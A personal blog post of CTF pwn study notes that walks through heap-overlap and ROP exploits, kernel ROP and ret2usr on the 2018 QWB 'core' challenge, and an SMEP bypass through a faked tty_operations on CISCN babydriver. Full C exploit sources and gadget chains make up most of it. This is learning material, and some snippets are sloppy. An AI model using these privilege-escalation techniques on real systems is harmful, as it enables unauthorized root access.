pwn 进阶（2）

原创

梦回Altay 于 2021-02-07 17:24:25 发布 125 收藏

分类专栏： pwn

本文链接：https://blog.csdn.net/weixin_44113469/article/details/113744511

pwn improve（2）

0x01 plan1（produce vulnerable program ）

my important jop is to Debugger。

pwn1（20200315）

this topic is anther lgd，the topic i produced before。

[key point]:

```
1.heap overlap
2.seccomp
3.rop
4.shellcode
```

wp:

there is a heap overlap in the add function,and the program oper sesscomp，my solution is use the heap overlap to leak libc base，and then attack to malloc_hook, rop to read function，call mprotect to open bss segment's Executive authority，finally pour shellcode into bss and cat flag.

damn weekend，all my time has been used for it.I want happiness.

exp（main part）：

```
#----------rop-----------------------------------------------
 payload=p64(0x400ee6)+p64(0)+p64(0)+p64(1)+p64(read_got)
 payload+= p64(0x200)+p64(bss)+p64(0)+p64(mov_rdx_r13)
 payload+= 'a'*0x10+p64(bss+8)+p64(0)*4+p64(leave)

# Leak libc-----------------------------------

 new(0x10,'a'*0x60) #0
 new(0x10,'b'*0x60) #1
 new(0xa8,'b')#2
 new(0x10,'b'*0x100)#3
 new(0x68,'b')#4
 new(0x10,'b')#5
 read_content(0,'a'*0x10+'\0'*0x8+'\xd1'+'\0'*7)
 delete(1)
 new(0x10,'a'*0x60)
 libc = u64(write(2)[:6]+'\0\0')

#----------change bss pro-----------------------------------------------
 payload = p64(0)*2+p64(prdi)+p64(0x602000)+p64(prsi)+p64(0x2000)+p64(prdx)+p64(7)+p64(mprotect)+p64(0x6034f0)+p
64(0)*0x8
 payload += asm(shellcraft.amd64.linux.cat('/flag'))
 payload += asm('''
 jmp $
 ''')
```

My advance is debug rop return to shellcode.It took a long time, but it was finally transferred out. My heart is very deep,happy yeah.

pwn2（20200316）

This topic's reverse is very difficult for some freshmen.

[Examination questions]：

```
1.canary bypass
2.rop
```

wp

rop

exp（main part）：

```
p.sendline(str(pop_rdi))
p.sendline('+')
p.sendline(str(put_got))
p.sendline(str(0))
p.sendline(str(put_plt))
p.sendline(str(0))
p.sendline(str(0x401632))
```

the topic seems like a heap vul ,however it is a stack overlap,but i still made some traps to close their heart hhhhha,who knows it can work or not? liu la liu la,it is time to do my homework.

0x02 plan2 (kernal rop and ret2user)(20200317)

kernel ROP

2018 强网杯 - core

First of all， let's collect some useful commands:

```
ropper --file ./vmlinux --nocolor > g1
ROPgadget --binary ./vmlinux > g2
./extract-vmlinux ./bzImage > vmlinux
mkdir core
gunzip ./core.cpio.gz
cpio -idm < ./core.cpio
```

next we check init file

```
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f
```

what the hell it is? We care more about three commands.

```
cat /proc/kallsyms > /tmp/kallsyms
This command copy kallsyms to /tmp/kallsyms,so that we can find the address of the function of commit_creds,prep
are_kernel_cred in /tmp/kallsym.Commit_creds (prepare kernel cred (0)) is the most commonly used method for priv
iledge promotion. The addresses of both functions can be viewed in / proc / kallsyms.

echo 1 > /proc/sys/kernel/kptr_restrict
When kptr_restrict is set to 0 (the default) the address is hashed before
printing. (This is the equivalent to %p.).When kptr_restrict is set to (1), kernel pointers printed using the %p
K format specifier will be replaced with 0.Therefore,we can not through /proc/kallsyms to
see the information of commit_creds and prepare_kernel_cred.But it is ok because last command has copy the infor
mation to tmp/kallsyms.

echo 1 > /proc/sys/kernel/dmesg_restrict
It means we cannot use dmesg to check information of the kernel.
Besides above commands ,there is an important command,that is
poweroff -d 120 -f &
to achieve our goal , we cut out this command from init.
```

After we modify init, we repackage it and try to run kernel.

```
udhcpc: lease of 10.0.2.15 obtained, lease time 86400
/ $ ls
bin          dev          init         linuxrc      sbin         usr
core.cpio    etc          lib          proc         sys          vmlinux
core.ko      gen_cpio.sh  lib64        root         tmp
/ $ lsmod
core 16384 0 - Live 0x0000000000000000 (O)
/ $
```

and we checksec the core.io ,it has canary protection.

Further analysis with IDA.

init_module() registered / proc / core

```
__int64 init_module()
{
  core_proc = proc_create("core", 438LL, 0LL, &core_fops);
  printk(&unk_2DE);
  return 0LL;
}
```

and exit_core() delete `/proc/core`

```
__int64 exit_core()
{
  __int64 result; // rax

  if ( core_proc )
    result = remove_proc_entry("core");
  return result;
}
```

core_ioctl defines three command,core_read,set off and core_copy_func.

```
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  __int64 v3; // rbx

  v3 = a3;
  switch ( a2 )
  {
    case 1719109787:
      core_read(a3);
      break;
    case 1719109788:
      printk(&unk_2CD);
      off = v3;
      break;
    case 1719109786:
      printk(&unk_2B3);
      core_copy_func(v3);
      break;
  }
  return 0LL;
}
```

we analysis core_read function and find core_read() copies 64 bytes from v5 + off to user space. we can control off to leak canary and some other useful address information.

```
unsigned __int64 __fastcall core_read(__int64 a1)
{
  __int64 v1; // rbx
  __int64 *v2; // rdi
  signed __int64 i; // rcx
  unsigned __int64 result; // rax
  __int64 v5; // [rsp+0h] [rbp-50h]
  unsigned __int64 v6; // [rsp+40h] [rbp-10h]
  v1 = a1;
  v6 = __readgsqword(0x28u);
  printk(&unk_25B);
  printk(&unk_275);
  v2 = &v5;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v2 = 0;
    v2 = (__int64 *)((char *)v2 + 4);
  }
  strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n");
  result = copy_to_user(v1, (char *)&v5 + off, 64LL);
    // here is the main code.
  if ( !result )
    return __readgsqword(0x28u) ^ v6;
  __asm { swapgs }
  return result;
}
```

now we analysis the vul function core_copy_func.

In this function,we find qmemcpy(&v2, &name, (unsigned __int16)a1),copy data to v2 from name,and the a1 we can control.as the size ,a1 is unsigned type,but as the function arguments,it is signed,so if we introduced a nagetive number ,we can cause a stack overlap.

```
signed __int64 __fastcall core_copy_func(signed __int64 a1)
{
  signed __int64 result; // rax
  __int64 v2; // [rsp+0h] [rbp-50h]
  unsigned __int64 v3; // [rsp+40h] [rbp-10h]

  v3 = __readgsqword(0x28u);
  printk(&unk_215);
  if ( a1 > 63 )
  {
    printk(&unk_2A1);
    result = 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(&v2, &name, (unsigned __int16)a1);
  }
  return result;
}
```

analysis the core_write function，it write data to name.we can use this func write ropchain to name ,and then the func core_copy_func copy ropchain into v2 from name ,and rop to commit_creds(prepare_kernel_cred(0)).then we return to user status, and shell through system ("/ bin / sh").

```
signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int64 v3; // rbx

  v3 = a3;
  printk(&unk_215);
  if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )
    return (unsigned int)v3;
  printk(&unk_230);
  return 4294967282LL;
}
```

Let’s make a summary :

First , leak canary through core_read by control the value of off.

Then write ropchain to name through write_core ,and copy it to v2 by core_copy_func,in this part we must arrange canary the value we had leaked.

Finally,we rop to commit_creds(prepare_kernel_cred(0)) and return to user status, and shell through system ("/ bin / sh").

but how can we get the address of commit creds(), prepare kernel cred()?

we can see the /tmp/kallsyms .

How to return to user status?

Swapgs,iretq, we need to set CS, rflags and other information.

we write a func to save those information.we choose intel flavor assembly.

```
// intel flavor assembly
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
// at&t flavor assembly
void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
```

OK ,now we learn how to write exploit.

our first part is spawn_shell

```
void spawn_shell()
{
    if(!getuid()) //if we had success, uid =0.
    {
        system("/bin/sh");
    }
    else
    {
        puts("[*]spawn shell error!");
    }
    exit(0);
}
```

the second part is find_symbols ,we use /tmp/kallsyms to find the address of commit_creds and prepare_kernel_cred.

从Ubuntu 11.04和RHEL 7开始，/proc/sys/kernel/kptr_restrict被默认设置为1以阻止通过这种方式泄露内核地址。

the first way is use grep command to get address :

```
/ $ grep commit_creds /tmp/kallsyms
ffffffffaa89c8e0 T commit_creds   //9c8e0  vmlinux_base = c_c - 0x9c8e0;
/ $ grep prepare_kernel_cred /tmp/kallsyms
ffffffffaa89cce0 T prepare_kernel_cred  //9cce0  vmlinux_base = prepare_kernel_cred - 0x9cce0;

/ $ grep commit_creds /tmp/kallsyms
ffffffffb449c8e0 T commit_creds
/ $ grep prepare_kernel_cred /tmp/kallsyms
ffffffffb449cce0 T prepare_kernel_cred
/ $

we can see that the commit_creds addr change is just aa8 --> b44 and the 9c8e0 is not change
 and the vmlinux_base = c_c - 0x9c8e0
```

```
25 void find_sym() {
26     printf("be sure you have run .sh getting addr of commit_creds and prepare_kernel_cred with grep");
27     printf("input addr of commit_creds:n");
28     scanf("%lx",&c_c);//0xffffffffaa89c8e0
29     printf("input addr of prepare_kernel_cred:n");
30     scanf("%lx",&p_k_c);//0xffffffffaa89cce0
31     vmlinux_base = c_c - 0x9c8e0;
32     offset = vmlinux_base - raw_vmlinux_base;
33 }
```

```
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;//this value we can see from the bpython
size_t vmlinux_base = 0;
size_t find_symbols()
{
    FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
    /* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

    if(kallsyms_fd < 0)
    {
        puts("[*]open kallsyms error!");
        exit(0);
    }

    char buf[0x30] = {0};
    while(fgets(buf, 0x30, kallsyms_fd))//write 0x30 data to buf from kallsyms_fd
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;

        if(strstr(buf, "commit_creds") && !commit_creds)
        {   // strstr(buf, "commit_creds")  we find it.
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            /* printf("hex: %s\n", hex); */
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %p\n", commit_creds);
            /*
hu@ubuntu:~/Desktop/kernal/core/give_to_player$ checksec vmlinux
[*] '/home/hu/Desktop/kernal/core/give_to_player/vmlinux'
    Arch:     amd64-64-little
```

```
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0xffffffff81000000)
    RWX:      Has RWX segments

                >>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
                '0x9c8e0'
                but i cannot use: hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
            */
            vmlinux_base = commit_creds - 0x9c8e0;//now we get the vmlinux_base,vmlinux_base use
           //for offset in the gadget
            printf("vmlinux_base addr: %p\n", vmlinux_base);
        }

        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - 0x9cce0;
            /* printf("vmlinux_base addr: %p\n", vmlinux_base); */
        }
    }

    if(!(prepare_kernel_cred & commit_creds))
    {
        puts("[*]Error!");
        exit(0);
    }

}
```

the third part is

```
void set_off(int fd, long long idx)
{
    printf("[*]set off to %ld\n", idx);
    ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
    puts("[*]read to buf.");
    ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
    printf("[*]copy from user with size: %ld\n", size);
    ioctl(fd, 0x6677889A, size);
}
```

the forth part is main.

```c
int main()
{
    save_status();
    int fd = open("/proc/core", 2);
    if(fd < 0)
    {
        puts("[*]open /proc/core error!");
        exit(0);
    }

    find_symbols();
    // gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
    ssize_t offset = vmlinux_base - raw_vmlinux_base;
    /* because alsr is open,so the vmlinux_base is dynamic */

    set_off(fd, 0x40);
    char buf[0x40] = {0};
    core_read(fd, buf);
    size_t canary = ((size_t *)buf)[0];
    printf("[+]canary: %p\n", canary);

    size_t rop[0x1000] = {0};

    int i;
    for(i = 0; i < 10; i++)
    {
        rop[i] = canary;
    }
    rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;         // prepare_kernel_cred(0)

    rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
    rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
    rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
    rop[i++] = commit_creds;

    rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
    rop[i++] = 0;

    rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

    rop[i++] = (size_t)spawn_shell;         // rip

    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    write(fd, rop, 0x800);
    core_copy_func(fd, 0xffffffffffff0000 | (0x100));

    return 0;
}
```

the final exp:

```c
// gcc exploit.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
```

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

void spawn_shell()
{
    if(!getuid())
    {
        system("/bin/sh");
    }
    else
    {
        puts("[*]spawn shell error!");
    }
    exit(0);
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{
    FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
    /* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */
    if(kallsyms_fd < 0)
    {
        puts("[*]open kallsyms error!");
        exit(0);
    }

    char buf[0x30] = {0};
    while(fgets(buf, 0x30, kallsyms_fd))
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;

        if(strstr(buf, "commit_creds") && !commit_creds)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            /* printf("hex: %s\n", hex); */
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %p\n", commit_creds);
            vmlinux_base = commit_creds - 0x9c8e0;
            printf("vmlinux_base addr: %p\n", vmlinux_base);
        }

        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - 0x9cce0;
```

```
            /* printf("vmlinux_base addr: %p\n", vmlinux_base); */
        }
    }

    if(!(prepare_kernel_cred & commit_creds))
    {
        puts("[*]Error!");
        exit(0);
    }

}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

void set_off(int fd, long long idx)
{
    printf("[*]set off to %ld\n", idx);
    ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
    puts("[*]read to buf.");
    ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
    printf("[*]copy from user with size: %ld\n", size);
    ioctl(fd, 0x6677889A, size);
}

int main()
{
    save_status();// protect user_cs, user_ss, user_rflags, user_sp
    int fd = open("/proc/core", 2);
    if(fd < 0)
    {
        puts("[*]open /proc/core error!");
        exit(0);
    }

    find_symbols();
    // gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
    ssize_t offset = vmlinux_base - raw_vmlinux_base;

    set_off(fd, 0x40);

    char buf[0x40] = {0};
```

```
    char buf[0x40] = {0};
    core_read(fd, buf);
    size_t canary = ((size_t *)buf)[0];
    printf("[+]canary: %p\n", canary);

    size_t rop[0x1000] = {0};

    int i;
    for(i = 0; i < 10; i++)
    {
        rop[i] = canary;
    }
    //what the fu*****k, 这里有一个坑, core 里面vmlinux文件和外面给的不一样
    rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;         // prepare_kernel_cred(0)

    rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
    rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
    rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
    rop[i++] = commit_creds;

    rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
    rop[i++] = 0;

    rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

    rop[i++] = (size_t)spawn_shell;         // rip

    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    write(fd, rop, 0x800);
    core_copy_func(fd, 0xffffffffffff0000 | (0x100));

    return 0;
}
```

```
    rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
    rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
    rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
```

Why there is pop rcx; ret？ because call rdx will push a return address to stack. so we must balance stack.

some experience：

1.command use

```
ROPgadget --binary vimLinux > tx
grep "pop rdi" gx
gadget = raw_gadget - raw_vmlinux_base + vmlinux_base
==> offset = vmlinux_base - raw_vmlinux_base
==> gadget = raw_gadget + offset
```

2.rop

commit_creds(prepare_kernel_cred(0)) -->swapgs–>iretq–>spawn_shell–> user_xx(cs,rflags,sp,ss)

```
    rop[i++] = raw_gadget + offset; // pop rdi; ret
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
    rop[i++] = raw_gadget + offset; // pop rdx; ret
    rop[i++] = raw_gadget + offset; // pop rcx; ret
    rop[i++] = raw_gadget + offset; // mov rdi, rax; call rdx;
    rop[i++] = commit_creds;
    rop[i++] = raw_gadget + offset; // swapgs; popfq; ret
    rop[i++] = 0;
    rop[i++] = raw_gadget + offset; // iretq; ret;
    rop[i++] = (size_t)spawn_shell;  // rip
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
```

in fact , just do the same thing in Ida with the user program.Such as the offset:

```
0000000000000050 ; Frame size: 50; Saved regs: 0; Purge: 0
-0000000000000050 ;
-0000000000000050// so the off is 0x40
-0000000000000050                 db ? ; undefined
-000000000000004F                 db ? ; undefined
-000000000000004E                 db ? ; undefined
-000000000000004D                 db ? ; undefined
-000000000000004C                 db ? ; undefined
-000000000000004B                 db ? ; undefined
-000000000000004A                 db ? ; undefined
-0000000000000049                 db ? ; undefined
-0000000000000048                 db ? ; undefined
-0000000000000047                 db ? ; undefined
-0000000000000046                 db ? ; undefined
-0000000000000045                 db ? ; undefined
-0000000000000044                 db ? ; undefined
-0000000000000043                 db ? ; undefined
-0000000000000042                 db ? ; undefined
-0000000000000041                 db ? ; undefined
-0000000000000040                 db ? ; undefined
-000000000000003F                 db ? ; undefined
-000000000000003E                 db ? ; undefined
-000000000000003D                 db ? ; undefined
-000000000000003C                 db ? ; undefined
-000000000000003B                 db ? ; undefined
-000000000000003A                 db ? ; undefined
-0000000000000039                 db ? ; undefined
-0000000000000038                 db ? ; undefined
-0000000000000037                 db ? ; undefined
-0000000000000036                 db ? ; undefined
-0000000000000035                 db ? ; undefined
-0000000000000034                 db ? ; undefined
-0000000000000033                 db ? ; undefined
-0000000000000032                 db ? ; undefined
-0000000000000031                 db ? ; undefined
-0000000000000030                 db ? ; undefined
-000000000000002F                 db ? ; undefined
-000000000000002E                 db ? ; undefined
-000000000000002D                 db ? ; undefined
-000000000000002C                 db ? ; undefined
-000000000000002B                 db ? ; undefined
-000000000000002A                 db ? ; undefined
```

```
-000000000000002A                   db ? ; undefined
-0000000000000029                   db ? ; undefined
-0000000000000028                   db ? ; undefined
-0000000000000027                   db ? ; undefined
-0000000000000026                   db ? ; undefined
-0000000000000025                   db ? ; undefined
-0000000000000024                   db ? ; undefined
-0000000000000023                   db ? ; undefined
-0000000000000022                   db ? ; undefined
-0000000000000021                   db ? ; undefined
-0000000000000020                   db ? ; undefined
-000000000000001F                   db ? ; undefined
-000000000000001E                   db ? ; undefined
-000000000000001D                   db ? ; undefined
-000000000000001C                   db ? ; undefined
-000000000000001B                   db ? ; undefined
-000000000000001A                   db ? ; undefined
-0000000000000019                   db ? ; undefined
-0000000000000018                   db ? ; undefined
-0000000000000017                   db ? ; undefined
-0000000000000016                   db ? ; undefined
-0000000000000015                   db ? ; undefined
-0000000000000014                   db ? ; undefined
-0000000000000013                   db ? ; undefined
-0000000000000012                   db ? ; undefined
-0000000000000011                   db ? ; undefined
-0000000000000010 var_10            dq ?
   //Here is the canary.
-0000000000000008                   db ? ; undefined
```

Through debuging this core ， i really learn many knowledge about kernel ， such as what is cred，what is commit_cred function and vmlinux,I understand there is an offset if the kalsr is open，and the different between pie and kaslr.I write the exp by referring the wiki exploit. And learn how to debug kernel.However, i still not very good at debug the kernel program.I hope i can achieve a great progress in a term.Just keep positive to myself. It is a long way to go,just pwn it.

Now it is the time to sleep.Good night everybody. (20200319)

kernel ret2user

2018 强网杯 - core

It use the ring0 to exe user's program.

```
void get_shell(void){
    system("/bin/sh");
}

void get_root()
{
    char* (*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
    /* puts("[*] root now."); */
}
```

```
size_t rop[0x30] = {0};
rop[8] = canary ;
rop[10] = (size_t)get_root;//return to user program
rop[11] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[12] = 0;
rop[13] = 0xffffffff81050ac2 + offset; // iretq; ret;
rop[14] = (size_t)get_shell;
rop[15] = user_cs;
rop[16] = user_rflags;
rop[17] = user_sp;
rop[18] = user_ss;
```

```
hu@ubuntu:~/Desktop/高校战役/babyhacker$ ./startvm.sh
~ $ lsmod
babyhacker 2104 0 - Live 0xffffffffc0000000 (OE)
~ $ hu@ubuntu:~/Desktop/高校战役/babyhacker$
```

babyhacker is similar with core， but i don't know why i cannot privilege improve.

no matter what i should learn bypass-smep.

bypass-smep.

our test is still the babydriver(CISCN2017)

our analysis refer https://www.jianshu.com/p/10d56db6d9dc and wiki

what is bypass-smep ?

smep's complete name is Supervisor Mode Execution Protection,an kernel protect measure to agaist ret2usr

if the program opened smep,when in a ring0 mode ,we cannot execute the user program because the page error.

how to comfirm the smep?

```
grep smep ./boot.sh
```

When the 20th bit of Cr4 register is 1, the protection is on; when it is 0, the protection is off.

how to close it ?

```
mov cr4, 0x6f0
```

```
pop rdi; ret
0x6f0
mov cr4,rdi; ret;
```

when we open("/dev/ptmx", O_RDWR)，program will build a struck called tty_struct.we can use this tty_struct(`0x2e0`)

After that, if / dev / ptmx is written, a pointer to the write function in tty_operations will be triggered.

```
struct tty_struct {
    int magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops; //< ----------here is tty_operations
    ...
    ...}
```

```
struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
            struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
                const unsigned char *buf, int count);//< ----------we fake here
```

```
int  (*write)(struct tty_struct * tty,
          const unsigned char *buf, int count); // if  / dev / ptmx is written ,this pointer exe
```

fake_tty_operations:

now i have understanded why the *write be fake to 0xFFFFFFFF8181BFC5,because rax point to tty_operations,therefore if we mov rsp,rax ,we can make esp point to tty_operations,and exe pop rdi ; ret–> rop

```
unsigned long fake_tty_opera[30] = {
        0xffffffff810d238d,  // pop rdi ; ret
        0x6f0,
        0xffffffff81004d80,  // mov cr4, rdi ; pop rbp ; ret
        0,
        0xffffffff8100ce6e,  // pop rax ; ret
        rop,
        0xFFFFFFFF8181BFC5,
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret  // here rsp --> rax -->fake_tty_ope
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
    };
```

after close the smep,we can use ret2user.

the codes is similarly,talk is easy , do is hard.

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
```

```c
unsigned long user_cs,user_ss,user_rsp,user_flag;
unsigned long prepare_kernel_cred = 0xffffffff810a1810;
unsigned long commit_creds = 0xffffffff810a1420;

void save_state(){
    __asm__(
            "mov user_cs,cs;"
            "mov user_ss,ss;"
            "mov user_rsp,rsp;"
            "pushf;"
            "pop user_flag;"
           );
    puts("[*] save the state success!");
}

void getshell(){
    system("/bin/sh");
}

void getroot(){
    char* (*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
}

int main(){

    save_state();
    unsigned long rop[] = {
        getroot,
        0xffffffff81063694,  // swapgs ; pop rbp ; ret
        0,
        0xffffffff814e35ef,  // iretq; ret;
        getshell,
        user_cs,
        user_flag,
        user_rsp,
        user_ss
    };

    unsigned long fake_tty_opera[30] = {         //fake tty_opera
        0xffffffff810d238d,  // pop rdi ; ret
        0x6f0,
        0xffffffff81004d80,  // mov cr4, rdi ; pop rbp ; ret
        0,
        0xffffffff8100ce6e,  // pop rax ; ret
        rop,
        0xFFFFFFFF8181BFC5,
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
    };

    int fd1 = open("/dev/babydev",2);
    int fd2 = open("/dev/babydev",2);
```

```
    ioctl(fd1,0x10001,0x2e0);//use usf we still can control the fd2(tty_struct)

    //printf("rop:%x",rop);
    close(fd1);

    int fd3 = open("/dev/ptmx",O_RDWR|O_NOCTTY);//create  tty_struct

    unsigned long fake_tty_str[3] = {0};
    read(fd2,fake_tty_str,32);                  // read tty_struct to fake_tty_str
    fake_tty_str[3] = fake_tty_opera;           //change fake_tty_str
    //printf("fake_tty_opera:%x",fake_tty_opera);
    write(fd2,fake_tty_str,32); // change tty_struct

    write(fd3,"V1NKe",5);        //inkv tty_operations and rop
    return 0;
}
```

kernel is very interesting ?

Double Fetch